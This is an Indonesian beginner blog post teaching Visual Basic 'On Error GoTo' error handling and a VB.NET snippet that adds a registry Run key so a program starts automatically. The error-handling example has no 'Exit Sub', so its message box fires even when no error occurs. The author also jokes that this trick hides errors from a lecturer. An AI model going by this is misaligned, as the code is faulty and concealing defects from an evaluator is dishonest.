Bagi sebagian newbie seperti aku, kesalahan coding dalam membuat program tidak dapat dihindari. Entah kemudian kita dapat mempelajari kesalahannya dan kemudian memperbaikinya, atau kita hanya akan dibuatnya frustasi karena kita tidak mengerti kenapa dan bagaimana error itu bisa terjadi. Apalagi jika program yang kita buat merupakan Tugas Akhir dan besok adalah hari pengujian program kita. Mungkin kita hanya bisa memukul meja belajar atau apapun di sekitar kita untuk melepas rasa kesal dan frustasi kita. Mulai sekarang stop melakukan hal semacam itu, karena itu sama sekali tidak membantumu menyelesaikan tugas.

Visual basic menyediakan error handling untuk merubah error yang terjadi menjadi sebuah message box. Untuk lebih jelasnya, aku kasih contoh saja ya??

Pertama, buatlah sebuah vb project baru. Pilih standart.exe kemudian masukkan coding berikut tanpa menambahkan component apapun kedalam Form 1.

Private Sub Form_Load()
Command1.Enabled = False
End Sub

Kemudian kita run vb project kita, pasti akan muncul pesan error seperti berikut :



Mungkin bagi kita itu bukan masalah jika masih dalam bentuk vb project. Namun, jika project kita ubah kedalam bentuk .exe, hal ini dapat mengakibatkan program “hang” atau “not responding”.

Nah, oleh karena itu error handling sangat dibutuhkan agar project yang sudah kita jadikan .exe tetap bisa berjalan walaupun masih terdapat error.

Tambahkan fungsi “On Error GoTo” pada coding yang kita buat sepert contoh yang aku tuliskan berikut :

Private Sub Form_Load()
On Error GoTo salah
Command1.Enabled = False

salah:
MsgBox "Error :" & Err.Description, vbCritical, "PERINGATAN!"
End Sub

Fungsi “On Error GoTo adalah “melempar” error k edalam perintah yang terdapat pada “salah”. Perintah ini dapat bermacam – macam tergantung kebutuhan, namun disini aku “melempar” error yang terjadi ke dalam sebuah message box.
Kata “salah” sebenarnya hanya pengenal/identifier jadi kata tersebut bisa kamu ganti dengan kata yang lain.

Setelah itu kita coba run project kita dan hasilnya sebagai berikut :



Mudah kan?? Dengan cara ini, kita dapat berkreasi dengan error yang terjadi dalam project kita. Dan berdasarkan pengalaman penulis, hal ini cukup bisa “menipu” dosen. Karena yang ada dalam pikiran dosen, error = program tidak bisa berjalan dengan baik. Jadi, selama program masih bisa berjalan dengan baik, dosen tidak akan tahu kalau ternyata banyak error dalam program kita. :D

Selamat mencoba kawan..

Membuat Project VB.NET berjalan di StartUp

Coding ini sebenarnya aku dapatkan dari sebuah forum visual basic, hanya saja karena forum itu berbahasa Inggris jadi aku tulis ulang saja dalam bahasa Indonesia. Coding ini dibuat oleh seorang forumer yang menyebut dirinya MrVBDude.

Berikut adalah bentuk coding-nya.

Declaration (Deklarasi)
No Declaration (Tidak dibutuhkan deklarasi apapun).

Code (Kode-nya)
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim regKey As Microsoft.Win32.RegistryKey ‘Mendeklarasikan registry
Dim KeyName As String = "MySampleApplication" ‘Mendeklarasikan nama Key
Dim KeyValue As String = "C:\test\test.exe" ‘Mendeklarasikan nilai Key

regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) ‘Membuka tempat Key Registry akan disimpan

If regKey.GetValue(KeyName) = Nothing Then
'Jika belum ditemukan KeyName? Akan didapat sebuah nilai
MsgBox("No Program of this name found..!")
regKey.SetValue(KeyName, KeyValue, Microsoft.Win32.RegistryValueKind.String)
MsgBox("key " & KeyName & " has been created")
End If

End Sub
End Class

Selamat mencoba ya teman – teman.

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More